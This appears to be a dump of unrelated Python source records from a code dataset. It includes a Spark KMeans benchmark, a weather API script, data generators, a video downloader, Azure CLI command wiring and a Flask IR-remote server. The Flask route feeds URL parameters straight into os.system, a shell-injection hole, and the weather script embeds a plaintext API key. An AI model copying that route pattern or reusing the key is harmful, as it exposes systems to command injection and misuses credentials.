psutil.virtual_memory().used\r\n algo_starttime = time.time()\r\n\r\n # Pyspark MLlib OLS Regression\r\n # Parameter setting and model configuration\r\n\r\n kmeans = KMeans().setK(10).setSeed(1)\r\n #.select('features')) #dat_split[0] .select('features')\r\n model = kmeans.fit(data_reg.toDF())\r\n prediction = model.transform(data_reg.toDF()).select('prediction').collect() #.select('features')\r\n labels = [p.prediction for p in prediction ]\r\n \"\"\"\r\n ols_model = KMeans(standardization=False, elasticNetParam=None)\r\n cv_model = ols_model.fit(dat_split[0])\r\n actAndPred = cv_model.transform(dat_split[1])\r\n \"\"\"\r\n algo_timetaken = time.time() - algo_starttime\r\n mem_used_end = psutil.virtual_memory().used\r\n cpu_util_end = psutil.cpu_percent(interval=None)\r\n io_disk_end = psutil.disk_io_counters(perdisk=False)\r\n io_net_end = psutil.net_io_counters(pernic=False)\r\n\r\n # Calculate Model Accuracy\r\n #y_test_mean = (dat_split[1].rdd.map(lambda p: p.label).reduce(lambda x, y: x + y)) / (dat_split[1].count())\r\n #RSS = actAndPred.rdd.map(lambda p: (p.label - p.prediction) ** 2).reduce(lambda x, y: x + y)\r\n #TSS = actAndPred.rdd.map(lambda p: (p.label - y_test_mean) ** 2).reduce(lambda x, y: x + y)\r\n\r\n RSquared = adjusted_rand_score(labels, labels_true) #(TSS - RSS) / TSS\r\n #print(labels_true)\r\n #for i in range(len(labels_true)):\r\n # print(str(labels[i]) +\":\\t\"+str(labels_true[i]))\r\n # Store results\r\n cur_record = {}\r\n cur_record['res_time'] = algo_timetaken\r\n cur_record['accuracy'] = RSquared\r\n cur_record['cpu_util'] = (cpu_util_end - cpu_util_start) \\\r\n if (cpu_util_end - cpu_util_start) > 0 else 0\r\n cur_record['mem_use'] = (mem_used_end - mem_used_start) \\\r\n if (mem_used_end - mem_used_start) > 0 else 0\r\n cur_record['io_disk_rd_count'] = io_disk_end[0] - io_disk_start[0]\r\n cur_record['io_disk_wt_count'] = io_disk_end[1] - io_disk_start[1]\r\n cur_record['io_disk_rd_byte'] = io_disk_end[2] - io_disk_start[2]\r\n cur_record['io_disk_wt_byte'] = io_disk_end[3] - io_disk_start[3]\r\n cur_record['io_disk_rd_time'] = io_disk_end[4] - io_disk_start[4]\r\n cur_record['io_disk_wt_time'] = io_disk_end[5] - io_disk_start[5]\r\n cur_record['io_net_byte_sent'] = io_net_end[0] - io_net_start[0]\r\n cur_record['io_net_byte_recv'] = io_net_end[1] - io_net_start[1]\r\n cur_record['io_net_packet_sent'] = io_net_end[2] - io_net_start[2]\r\n cur_record['io_net_packet_recv'] = io_net_end[3] - io_net_start[3]\r\n cur_record['io_net_errin'] = io_net_end[4] - io_net_start[4]\r\n cur_record['io_net_errout'] = io_net_end[5] - io_net_start[5]\r\n\r\n record.append(cur_record)\r\n\r\n benchmark_timetaken = time.time() - benchmark_starttime\r\n tot_time += benchmark_timetaken\r\n\r\n param_name = ['res_time', 'accuracy', 'cpu_util', 'mem_use', \\\r\n 'io_disk_rd_count', 'io_disk_wt_count', 'io_disk_rd_byte', \\\r\n 'io_disk_wt_byte', 'io_disk_rd_time', 'io_disk_wt_time', \\\r\n 'io_net_byte_sent', 'io_net_byte_recv', 'io_net_packet_sent', \\\r\n 'io_net_packet_recv', 'io_net_errin', 'io_net_errout']\r\n\r\n result = {}\r\n\r\n for i in param_name:\r\n cur_param_all = [item[i] for item in record]\r\n\r\n result[\"avg_\" + i] = np.mean(cur_param_all)\r\n result[\"sd_\" + i] = np.std(cur_param_all)\r\n result[\"quantile_\" + i] = np.percentile(cur_param_all, [0, 25, 50, 75, 100])\r\n\r\n result[\"algo\"] = \"KMEANS\"\r\n result[\"library\"] = \"Pyspark ML\"\r\n result['tot_run'] = len(record)\r\n result[\"num_pred\"] = predictor.shape[1]\r\n result[\"num_obs\"] = predictor.shape[0]\r\n # get num of partition\r\n result['num_partition'] = data_reg.getNumPartitions()\r\n\r\n return (result)\r\n\r\n\r\n# get measurement data using simulated datasets\r\n\r\n# move out of loop\r\nsim_predictor = pd.read_csv(\"./data_simulation/Cluster_10cl_X2_5K_9K_69876_XID.csv\", sep=\",\")\r\n\r\n#for i in pred:\r\n# for j in sim_predictor.count:\r\n#cur_predictor = sim_predictor.iloc[: j, : i]\r\ncur_response = None#sim_response.iloc[:j, 0]\r\ncur_result = testOLSSpark(sim_predictor, cur_response)\r\ncur_resultDF = pd.DataFrame(cur_result)\r\ncur_resultDF.to_csv(\"./testdat/mDatSparkKMEANS_HCH_Cluster_10cl_X2_5K_9K_69876_XID_10min.csv\", sep=\",\",\r\n header=True, index=False)\r\ntime.sleep(300)","sub_path":"benchmark_spark_kmeans.py","file_name":"benchmark_spark_kmeans.py","file_ext":"py","file_size_in_byte":7149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"565999979","text":"import requests, json\n\n#543e5c60a714042074c305d5c7068aae\ncityname = input(\"Enter City: \")\nAPIKEY = \"543e5c60a714042074c305d5c7068aae\"\nurl = \"http://api.openweathermap.org/data/2.5/weather?q=\"+cityname+\"&APPID=\"+APIKEY\n\nresponse = requests.get(url)\ncityweather = response.json()\nprint(cityweather)\nprint(\"Conditions today are\", cityweather[\"weather\"][0][\"description\"])","sub_path":"OpenWeatherMap.py","file_name":"OpenWeatherMap.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"411459581","text":"import numpy as np\n\nfrom .utils import *\n\n\ndef get_positive_input(n1=40, n2=30, mean_distance=0.8):\n \"\"\"\n Constructs two groups with n1 observations in first and n2 observations in second.\n :param n1:\n :param n2:\n :param mean_distance: distance of means in two gorups\n :return:\n \"\"\"\n y = [2 * np.random.normal(0, 1, size=n1) + 100 - mean_distance,\n 2 * np.random.normal(0, 1, size=n2) + 100 + mean_distance]\n return y\n\n\ndef get_binary_input(n1=25, a1=12, n2=28, a2=20):\n x1 = np.zeros(shape=n1, dtype=np.int)\n x1[:a1] = 1\n\n x2 = np.zeros(shape=n2, dtype=np.int)\n x2[:a2] = 1\n\n return [x1, x2]\n\n\ndef save_input(input_function, file_name_prefix, folder_name):\n y = input_function()\n form = \"%d\" if y[0].dtype == np.int else \"%f\"\n for i in range(2):\n np.savetxt(f\"./{folder_name}/{file_name_prefix}_{i}.csv\", y[i], fmt=form)\n\n\ndef get_count_input(n1=67, lambda1=11.1, n2=76, lambda2=9.9):\n x1 = np.random.poisson(lam=lambda1, size=n1)\n x2 = np.random.poisson(lam=lambda2, size=n2)\n return [x1, x2]\n\n\ndef get_ordinal_input(f1=(10, 9, 20), f2=(18, 9, 7)):\n x1 = np.zeros(shape=sum(f1), dtype=np.int)\n for i in range(1, len(f1)):\n begin = sum(f1[:i])\n x1[begin: (begin + f1[i])] = i\n\n x2 = np.zeros(shape=sum(f2), dtype=np.int)\n for i in range(1, len(f2)):\n begin = sum(f2[:i])\n x2[begin: (begin + f2[i])] = i\n return [x1, x2]\n\n\ndef get_binomial_input(n1=20, p1=0.44, n2=25, p2=0.52):\n x1 = np.zeros(shape=(n1, 2), dtype=np.int)\n x1[:, 0] = np.random.poisson(lam=4, size=n1)\n x1[:, 1] = np.random.binomial(n=x1[:, 0], p=p1)\n\n x2 = np.zeros(shape=(n2, 2), dtype=np.int)\n x2[:, 0] = np.random.poisson(lam=4, size=n2)\n x2[:, 1] = np.random.binomial(n=x2[:, 0], p=p2, )\n return [x1, x2]\n\ndef run_all():\n folder_name = \"artificial_data\"\n mk_dir_if_not_exists(folder_name)\n\n save_input(get_binary_input, file_name_prefix=\"Binary_data\", folder_name=folder_name)\n save_input(get_positive_input, file_name_prefix=\"Positive_real_data\", folder_name=folder_name)\n save_input(get_count_input, file_name_prefix=\"Count_data\", folder_name=folder_name)\n save_input(get_ordinal_input, file_name_prefix=\"Ordinal_data\", folder_name=folder_name)\n save_input(get_binomial_input, file_name_prefix=\"Binomial_data\", folder_name=folder_name)\n\nif __name__ == '__main__':\n run_all()\n","sub_path":"HyBayes/make_data.py","file_name":"make_data.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"9085873","text":"import logging\nfrom argparse import ArgumentParser\nfrom urllib import request\n\n\nclass ExecutionError(Exception):\n pass\n\n\ndef download_video_file_decorator(func_decorated):\n def func_wrapper(*args, **kwargs):\n direct_video_url = func_decorated(*args, **kwargs)\n\n if not direct_video_url or 'https://' not in direct_video_url:\n raise ExecutionError('Video URL not found')\n\n patterns = '/video/mp4/', '?'\n file_name = direct_video_url.split(patterns[0])[1].split(patterns[1])[0] \\\n if patterns[0] in direct_video_url else 'video.mp4'\n\n logging.info('Direct link:\\n%s\\nDownloading...', direct_video_url)\n with open(file_name, 'wb') as video_file:\n video_file.write(request.urlopen(direct_video_url).read())\n logging.info('Video downloaded')\n\n return func_wrapper\n\n\ndef video_url_getter_decorator(fun_decorated):\n def func_wrapper(*args, **kwargs):\n html_content = fun_decorated(*args, **kwargs)\n patterns = ''\n return html_content.split(patterns[0])[1].split(patterns[1])[0] \\\n if patterns[0] in html_content else None\n\n return func_wrapper\n\n\n@download_video_file_decorator\n@video_url_getter_decorator\ndef streamable_video_download(streamable_link):\n try:\n logging.info('Downloading video from: %s', streamable_link)\n return str(request.urlopen(streamable_link).read())\n except Exception as exc:\n raise ExecutionError('Error: could not download data from {}'.format(streamable_link)) \\\n from exc\n\n\ndef main():\n logging.basicConfig(format=\"%(asctime)s-%(levelname)s -- %(message)s\", level=logging.INFO)\n\n arg_parser = ArgumentParser()\n arg_parser.add_argument(dest='streamable_url', help=\"URL to streamable video\")\n args = arg_parser.parse_args()\n\n try:\n streamable_video_download(args.streamable_url)\n except ExecutionError as ex_err:\n logging.error(ex_err)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"streamable_video_downloader.py","file_name":"streamable_video_downloader.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"117242549","text":"import sys\nsys.path.append(\"../\")\n\nimport os\nfrom cochl_sense.file import FileBuilder\n\napi_key = os.environ[\"SENSE_API_KEY\"]\nfile_name = 'resources/human-interaction.wav'\nfile_format = 'wav'\n\nfile = open(file_name, 'rb')\n\nsense = FileBuilder()\\\n .with_api_key(api_key) \\\n .with_reader(file) \\\n .with_format(file_format) \\\n .with_smart_filtering(True) \\\n .build()\n\nresult = sense.inference()\n\nprint(result.detected_events_timing())\n","sub_path":"examples/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"422333397","text":"from flask import Flask, request\n\nimport os\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n return 'Universal IR Remote'\n\n@app.route('/control/tv///')\ndef control(device='Sony_RM-ED011', key='NOTHING', count='2'):\n if not key == 'NOTHING':\n os.system('irsend SEND_ONCE --count=%s %s %s' % (count, device, key))\n return \"\"\n\nif __name__ == '__main__':\n app.run(host= '0.0.0.0')\n","sub_path":"ir_universal_remote.py","file_name":"ir_universal_remote.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"52568116","text":"import numpy as np\nimport shapefile as sf\nimport pyproj as proj\nimport os\nimport re\n\nclass MapData:\n\n def __init__(self):\n\n self.projection = self.ProjectionFormat()\n\n class ProjectionFormat:\n\n def __init__(self):\n\n # Scaling factor\n self.k = 1\n\n # Latitude of origin\n self.lat_0 = 0\n\n # Central Meridian\n self.lon_0 = 0\n\n # Prime meridian\n self.pm = 'Greenwich'\n\n self.units = 'Meter'\n\n # False easting\n self.x_0 = 500000\n\n # False northing\n self.y_0 = 0\n\n self.proj = 'utm'\n\n def read_prj_file(self, dir, name):\n\n \"\"\"Reads in the projection format file from the shapefile dataset.\n\n Args:\n loc: main directory for location of all shapefile information\n\n Returns:\n\n\n :param loc:\n :return:\n \"\"\"\n\n projections = {'Transverse_Mercator': 'utm',\n 'Extended_Transverse_Mercator': 'etmerc',\n 'Mercator': 'merc'\n }\n\n re_proj = re.compile(r'PROJECTION\\[\"(.*)\"\\]')\n re_param = re.compile(r'PARAMETER\\[\"(.*),(.*)\"\\]')\n with open(os.path.join(dir, name + \".\" + \"prj\"), 'r') as f:\n text = f.read()\n\n for key in re_param.findall(text):\n n = float(key[1])\n v = key[0]\n if v == 'False_Easting':\n self.x_0 = n\n elif v == 'False_Northing':\n self.y_0 = n\n elif v == 'Central_Meridian':\n self.lon_0 = n\n elif v == 'Scale_Factor':\n self.k = n\n elif v == 'Latitude_Of_Origin':\n self.lat_0 = n\n else:\n print('Key undefined in read_prj_file')\n\n self.proj = projections[re_proj.search(text).groups()[0]]\n\n return self\n","sub_path":"source/MapData.py","file_name":"MapData.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"340795042","text":"import json\nimport facebook\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\nimport yaml\n\n\ndef main():\n # Read config yaml\n file = open(\"config.yml\", \"r\")\n cfg = yaml.load(file, Loader=yaml.FullLoader)\n \n # Auth to database using service account\n dbUrl = cfg[\"firebase\"][\"db_url\"] \n cred = credentials.Certificate(cfg[\"firebase\"][\"credentials\"])\n firebase_admin.initialize_app(cred, {'databaseURL':dbUrl})\n\n # Setup db reference on firebase\n ref = db.reference(cfg[\"firebase\"][\"db_ref\"])\n info = ref.child(cfg[\"firebase\"][\"ref_child\"])\n\n # Setup url graph for facebook \n token = cfg[\"facebook\"][\"token\"]\n graph = facebook.GraphAPI(token)\n fields = ['message', 'name', 'picture']\n fields = ','.join(fields)\n data = graph.get_object(cfg[\"facebook\"][\"graph_object\"], fields = fields)\n feeds = data[\"data\"]\n\n # Send data to firebase\n send_data = []\n for feed in feeds:\n try:\n send_data.append(feed)\n final_result = json.dumps(send_data, indent=4)\n to_json = json.loads(final_result)\n print(to_json)\n info.set(to_json)\n except:\n print(\"Error found when sent data.\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Examples/fb-api/sendDataToFirebase.py","file_name":"sendDataToFirebase.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"14893256","text":"import random\n\n__author__ = 'seifu'\n\n\nclass Employee:\n \"\"\"Common base for all employees\"\"\"\n empCount = 0\n\n def __init__(self, name, salary, is_working):\n self.name = name\n self.salary = salary\n self.is_working = is_working\n Employee.empCount += 1\n\n def __str__(self):\n return \"Name: \" + self.name + \", Salary: \" + str(self.salary) + \", Is Working: \" + str(self.is_working)\n\n\nclass Cook(Employee):\n \"\"\"Common base for all cooks\"\"\"\n cookCount = 0\n\n def __init__(self, name, salary, is_working, specialty):\n Employee.__init__(self, name, salary, is_working)\n self.specialty = specialty\n Cook.cookCount += 1\n Employee.empCount += 1\n\n def __str__(self):\n return \"Name: \" + self.name + \", Salary: \" + str(self.salary) + \", Is Working: \" \\\n + str(self.is_working) + \", Specialty: \" + self.specialty\n\n def make_meal(self):\n print(self.name, 'ist making food now')\n\n def pick_up(self, name):\n n = random.randint(1, 7)\n if n == 1:\n print('Hey', name, 'lookin\\' pretty fly')\n elif n == 2:\n print('Hey', name, 'did it hurt... when you fell from heaven?')\n elif n == 3:\n print('Hey', name, 'are your legs tired... because you\\'ve been running through my mind all day')\n elif n == 4:\n print('Hey', name, 'how YOU doin\\'?')\n elif n == 5:\n print('Hey', name, 'they say dating is a numbers game, so can I get yours?')\n elif n == 6:\n print('Hey', name, 'how would you like to TAB complete me?')\n else:\n print('Hey my buddies bet me I couldn\\' start a conversation with the most beautiful girl in the bar. '\n 'Want to have a drink with their money?')\n\nif __name__ == '__main__':\n cook1 = Cook(\"bob\", \"salary\", False, \"specialty\")\n print(cook1)\n emp1 = Employee('emp1', 'salary', False)\n print(emp1)\n #emp1.make_meal()\n","sub_path":"_site/sessions/2014/pyoop/Employee.py","file_name":"Employee.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"371603896","text":"from math import floor\nimport numpy as np\n\ndef merge(ary1, ary2):\n queue = []\n while len(ary1) > 0 and len(ary2) > 0:\n\n min_val = min(ary1[0][-1], ary2[0][-1])\n if min_val == ary1[0][-1]:\n queue.append(ary1[0]) # append index of the smallest\n flag1 = 1\n else:\n queue.append(ary2[0]) # append index of the smallest\n flag1 = 2\n\n # delete the number just added to the queue\n if flag1 == 1:\n del ary1[0]\n else:\n del ary2[0]\n\n # if one array is empty, just extend queue with the remaining sorted portion of the other array\n if len(ary1) > 0:\n queue.extend(ary1)\n else:\n queue.extend(ary2)\n\n return queue\n\n\ndef mergesort(alignments: list): # list of tuple, each tuple formatted as (read_id, 'sequence')\n\n if len(alignments) == 1:\n return alignments\n\n else: # split and apply double recursion\n n = floor(len(alignments) / 2)\n return merge(mergesort(alignments[:n]), mergesort(alignments[n:]))\n","sub_path":"Lab1/assignment4/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"471905384","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n\nfrom azure.cli.core.commands import CliCommandType\n\nfrom ._client_factory import (servicefabric_clusters_client_factory,\n servicefabric_client_factory_all,\n servicefabric_application_type_client_factory,\n servicefabric_application_type_version_client_factory,\n servicefabric_application_client_factory,\n servicefabric_service_client_factory)\n\n\ndef load_command_table(self, _):\n cluster_mgmt_util = CliCommandType(\n operations_tmpl='azure.mgmt.servicefabric.operations#ClustersOperations.{}',\n client_factory=servicefabric_clusters_client_factory\n )\n\n application_type_mgmt = CliCommandType(\n operations_tmpl='azure.mgmt.servicefabric.operations#ApplicationTypesOperations.{}',\n client_factory=servicefabric_application_type_client_factory\n )\n\n application_type_version_mgmt = CliCommandType(\n operations_tmpl='azure.mgmt.servicefabric.operations#ApplicationTypeVersionsOperations.{}',\n client_factory=servicefabric_application_type_version_client_factory\n )\n\n application_mgmt = CliCommandType(\n operations_tmpl='azure.mgmt.servicefabric.operations#ApplicationsOperations.{}',\n client_factory=servicefabric_application_client_factory\n )\n\n service_mgmt = CliCommandType(\n operations_tmpl='azure.mgmt.servicefabric.operations#ServicesOperations.{}',\n client_factory=servicefabric_service_client_factory\n )\n\n application_custom_type = CliCommandType(\n operations_tmpl='azure.cli.command_modules.servicefabric.operations.applications#{}',\n client_factory=servicefabric_client_factory_all\n )\n\n with self.command_group('sf cluster', cluster_mgmt_util, client_factory=servicefabric_clusters_client_factory) as g:\n g.show_command('show', 'get')\n g.custom_command('list', 'list_cluster')\n g.custom_command('create', 'new_cluster')\n g.custom_command('certificate add', 'add_cluster_cert')\n g.custom_command('certificate remove', 'remove_cluster_cert')\n g.custom_command('client-certificate add', 'add_client_cert')\n g.custom_command('client-certificate remove', 'remove_client_cert')\n g.custom_command('setting set', 'set_cluster_setting')\n g.custom_command('setting remove', 'remove_cluster_setting')\n g.custom_command('reliability update', 'update_cluster_reliability_level')\n g.custom_command('durability update', 'update_cluster_durability')\n g.custom_command('node-type add', 'add_cluster_node_type')\n g.custom_command('node add', 'add_cluster_node')\n g.custom_command('node remove', 'remove_cluster_node')\n g.custom_command('upgrade-type set', 'update_cluster_upgrade_type')\n\n with self.command_group('sf application certificate') as g:\n g.custom_command('add', 'add_app_cert')\n\n with self.command_group('sf application-type', application_type_mgmt,\n custom_command_type=application_custom_type) as g:\n g.command('list', 'list')\n g.command('delete', 'delete')\n g.show_command('show', 'get')\n g.custom_command('create', 'create_app_type')\n\n with self.command_group('sf application-type version', application_type_version_mgmt,\n custom_command_type=application_custom_type) as g:\n g.command('list', 'list')\n g.command('delete', 'delete')\n g.show_command('show', 'get')\n g.custom_command('create', 'create_app_type_version')\n\n with self.command_group('sf application', application_mgmt,\n custom_command_type=application_custom_type) as g:\n g.command('list', 'list')\n g.command('delete', 'delete')\n g.show_command('show', 'get')\n g.custom_command('create', 'create_app')\n g.custom_command('update', 'update_app')\n\n with self.command_group('sf service', service_mgmt,\n custom_command_type=application_custom_type) as g:\n g.command('list', 'list')\n g.command('delete', 'delete')\n g.show_command('show', 'get')\n g.custom_command('create', 'create_service')\n\n with self.command_group('sf', is_preview=True):\n pass\n","sub_path":"src/azure-cli/azure/cli/command_modules/servicefabric/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"142405117","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nattrdict是一个很赞的库, 可以允许你用attribute的语法风格来访问, 赋值, 修改字典\n中的key, value。而其他的特性保持不变。\n\nvalid names:\n\n1. 字符数字下划线。\n2. 不以下划线开头。\n3. 不是字典默认的方法名, 例如 dict.get。\n\n- PyPI: https://pypi.python.org/pypi/attrdict\n\"\"\"\n\nimport pytest\nfrom attrdict import AttrMap, AttrDict\nfrom sfm.decorator import run_if_is_main\n\n\n@run_if_is_main(__name__)\ndef mutable():\n \"\"\"\n \n 注意: AttrDict中的sequence type会自动转化为tuple, 即非mutable的形式。也就是\n 对list中的对象无法修改。如果想要允许对list中的对象进行修改, 需要使用AttrMap,\n 并指定 ``sequence_type = list``。\n \"\"\"\n user_data = {\n \"id\": \"EN-0001\",\n \"phone_numbers\": [\n {\"label\": \"home\", \"number\": \"111-222-3333\"},\n {\"label\": \"work\", \"number\": \"444-555-6666\"},\n {\"label\": \"mobile\", \"number\": \"777-888-9999\"},\n ],\n \"profile\": {\n \"SSN\": \"123-45-6789\",\n \"drivers_license\": {\n \"state\": \"DC\",\n \"license_number\": \"DC-1234-5678\",\n }\n }\n }\n user = AttrMap(user_data, sequence_type=list)\n \n assert user.id == \"EN-0001\"\n assert user[\"id\"] == \"EN-0001\"\n \n user.id = \"EN-0002\"\n assert user.id == \"EN-0002\"\n assert user[\"id\"] == \"EN-0002\"\n \n # nested dict is also attrdict\n assert user.phone_numbers[0].number == \"111-222-3333\"\n assert user.phone_numbers[0][\"number\"] == \"111-222-3333\"\n \n user.phone_numbers[0].number = \"111-111-1111\"\n assert user.phone_numbers[0].number == \"111-111-1111\"\n assert user.phone_numbers[0][\"number\"] == \"111-111-1111\"\n \nmutable()\n\n\n@run_if_is_main(__name__)\ndef invalid_name():\n user_data = {\n \"_id\": 1,\n \"first name\": \"John\",\n \"last name\": \"David\",\n \"email\": \"john.david@gmail.com\",\n }\n user = AttrMap(user_data, sequence_type=list)\n \n # 无法用 dict.attr 的风格访问\n with pytest.raises(Exception):\n user._id\n # 但仍可以用 dict[attr] 的风格访问\n assert user[\"_id\"] == 1\n\n\ninvalid_name()","sub_path":"learn_pypkg/learn_attrdict.py","file_name":"learn_attrdict.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"432992484","text":"def abrir_arquivo(file):\n lista = []\n with open(file, 'r') as f:\n data = f.readlines()\n for item in data:\n lista.append(item.strip().split())\n return lista\n\n\ndef conversor(lista):\n for item in range(len(lista)):\n tamanho_mbytes = float(lista[item][1]) / (1024 * 1024)\n lista[item][1] = f'{tamanho_mbytes:.2f}'\n\n\ndef espaco_total(lista):\n total = 0\n for item in range(len(lista)):\n total += float(lista[item][1])\n return total\n\n\ndef porcentagem_de_uso(lista, total):\n for item in range(len(lista)):\n percentual = (float(lista[item][1]) / total) * 100\n lista[item].append(f'{percentual:1f}')\n\n\ndados = abrir_arquivo('Exe2_usuarios.txt')\nconversor(dados)\ntotal = espaco_total(dados)\nporcentagem_de_uso(dados, total)\n\nwith open('relatorio-usuarios.txt', 'w') as f:\n f.write(f'ACME Inc. {\" \" * 10} {\"Uso do espaço em disco pelos usúarios\"}\\n')\n f.write(f'{\"-\" * 60}\\n')\n f.write(f'NR Usuario Espaço utilizado % do uso\\n')\n for _ in range(len(dados)):\n f.write(f'{_ + 1} {dados[_][0]:<10} {dados[_][1]:^11} {dados[_][2]:^11}%\\n')\n\n f.write(f'\\nEspaço total ocupado: {total} MB\\n')\n f.write(f'Espaço médio ocupado: {total / len(dados):2f} MB')\n ","sub_path":"Exe2_relação_funcionarios.py","file_name":"Exe2_relação_funcionarios.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"188610815","text":"import argparse\nfrom pathlib import Path\nimport torch\nimport numpy as np\nimport re\n\nfrom tqdm import tqdm\n\nfrom load_model import load_model, load_tokenizer, BERT_BASE_MODELS, W2V_BASE_MODEL\nfrom load_data import load_doc, load_query, load_retreival_result\nfrom file_path_setteing import DOC, QUERY\n\n\nTRUNCATE_LENGTH = 16384\nMAX_LENGTH = 512\nQ_MODE = \"query\"\nD_MODE = \"doc\"\nB_MODE = \"both\"\n\n\ndef encode_and_save_batch(output_dir, model, t_batch_doc, max_doc_length, att_masks, batch_doc_did, device):\n if max_doc_length > MAX_LENGTH:\n embeds = []\n for ti in range(0, max_doc_length, MAX_LENGTH):\n input_doc = dict()\n for k in t_batch_doc:\n input_doc[k] = t_batch_doc[k][:, ti : ti + MAX_LENGTH].to(device)\n with torch.no_grad():\n part_embeds = model(**input_doc)[\"last_hidden_state\"]\n\n embeds.append(part_embeds)\n\n embeds = torch.cat(embeds, dim=1).cpu().numpy()\n\n else:\n for k in t_batch_doc:\n t_batch_doc[k] = t_batch_doc[k].to(device)\n\n with torch.no_grad():\n embeds = model(**t_batch_doc)[\"last_hidden_state\"].cpu().numpy()\n\n for did, embed, t_att in zip(batch_doc_did, embeds, att_masks):\n out_file = output_dir / f\"{did}.npz\"\n # zarr.convenience.save(str(out_file), embed[t_att == 1, :])\n np.savez(out_file, embed[t_att == 1, :])\n\n\ndef encode_and_save_query_bert(output_dir, docs, batch_size, tokenizer, model, device):\n ids = list(docs.keys())\n for i in tqdm(range(0, len(ids), batch_size)):\n batch_doc_did = ids[i : i + batch_size]\n batch_doc = [docs[did] for did in batch_doc_did]\n t_batch_doc = tokenizer(\n batch_doc, truncation=True, padding=True, return_tensors=\"pt\", max_length=TRUNCATE_LENGTH\n )\n att_masks = t_batch_doc[\"attention_mask\"].numpy()\n max_doc_length = t_batch_doc[\"input_ids\"].shape[-1]\n encode_and_save_batch(output_dir, model, t_batch_doc, max_doc_length, att_masks, batch_doc_did, device)\n\n\ndef encode_and_save_query_w2v(output_dir, docs, tokenizer, model):\n dids = list(docs.keys())\n for did in dids:\n doc = docs[did]\n t_doc = tokenizer(doc)\n embed = np.array([model[t] for t in t_doc])\n out_file = output_dir / f\"{did}.npz\"\n np.savez(out_file, embed)\n\n\ndef encode_batch(store_dict, model, t_batch_doc, max_doc_length, att_masks, batch_doc_did, device):\n if max_doc_length > MAX_LENGTH:\n embeds = []\n for ti in range(0, max_doc_length, MAX_LENGTH):\n input_doc = dict()\n for k in t_batch_doc:\n input_doc[k] = t_batch_doc[k][:, ti : ti + MAX_LENGTH].to(device)\n with torch.no_grad():\n part_embeds = model(**input_doc)[\"last_hidden_state\"]\n\n embeds.append(part_embeds)\n\n embeds = torch.cat(embeds, dim=1).cpu().numpy()\n\n else:\n for k in t_batch_doc:\n t_batch_doc[k] = t_batch_doc[k].to(device)\n\n with torch.no_grad():\n embeds = model(**t_batch_doc)[\"last_hidden_state\"].cpu().numpy()\n\n for did, embed, t_att in zip(batch_doc_did, embeds, att_masks):\n store_dict[did] = embed[t_att == 1, :]\n\n\ndef encode_and_save_doc_bert(output_dir, batch_size, tokenizer, qid, dids, docs, model, device):\n store_dict = dict()\n outfile = output_dir / f\"{qid}.npz\"\n for i in range(0, len(dids), batch_size):\n batch_doc_did = dids[i : i + batch_size]\n batch_doc = [docs[did] for did in batch_doc_did]\n t_batch_doc = tokenizer(\n batch_doc, truncation=True, padding=True, return_tensors=\"pt\", max_length=TRUNCATE_LENGTH\n )\n att_masks = t_batch_doc[\"attention_mask\"].numpy()\n max_doc_length = t_batch_doc[\"input_ids\"].shape[-1]\n encode_batch(store_dict, model, t_batch_doc, max_doc_length, att_masks, batch_doc_did, device)\n\n np.savez_compressed(outfile, **store_dict)\n\n\ndef encode_and_save_doc_w2v(output_dir, tokenizer, qid, dids, docs, model):\n store_dict = dict()\n outfile = output_dir / f\"{qid}.npz\"\n for did in dids:\n t_doc = tokenizer(docs[did])\n store_dict[did] = np.array([model[t] for t in t_doc])\n\n np.savez_compressed(outfile, **store_dict)\n\n\ndef encode_and_save_retrieval(\n output_dir, queries, docs, retrieval_result, batch_size, tokenizer, model, pretrain_model, device=None\n):\n for qid in tqdm(queries.keys()):\n dids = retrieval_result[qid]\n if pretrain_model in BERT_BASE_MODELS:\n encode_and_save_doc_bert(output_dir, batch_size, tokenizer, qid, dids, docs, model, device)\n elif pretrain_model in W2V_BASE_MODEL:\n encode_and_save_doc_w2v(output_dir, tokenizer, qid, dids, docs, model)\n else:\n raise ValueError(f\"{pretrain_model} doesn't exist\")\n\n\ndef main(args):\n input_doc_path = Path(args.input_doc)\n output_dir = Path(args.output_dir)\n query_path = Path(args.query_path)\n model_path = args.model_path\n batch_size = args.batch_size\n pretrain_model = args.pretrain_model\n retrieval_result_path = Path(args.first_rank_path)\n\n if 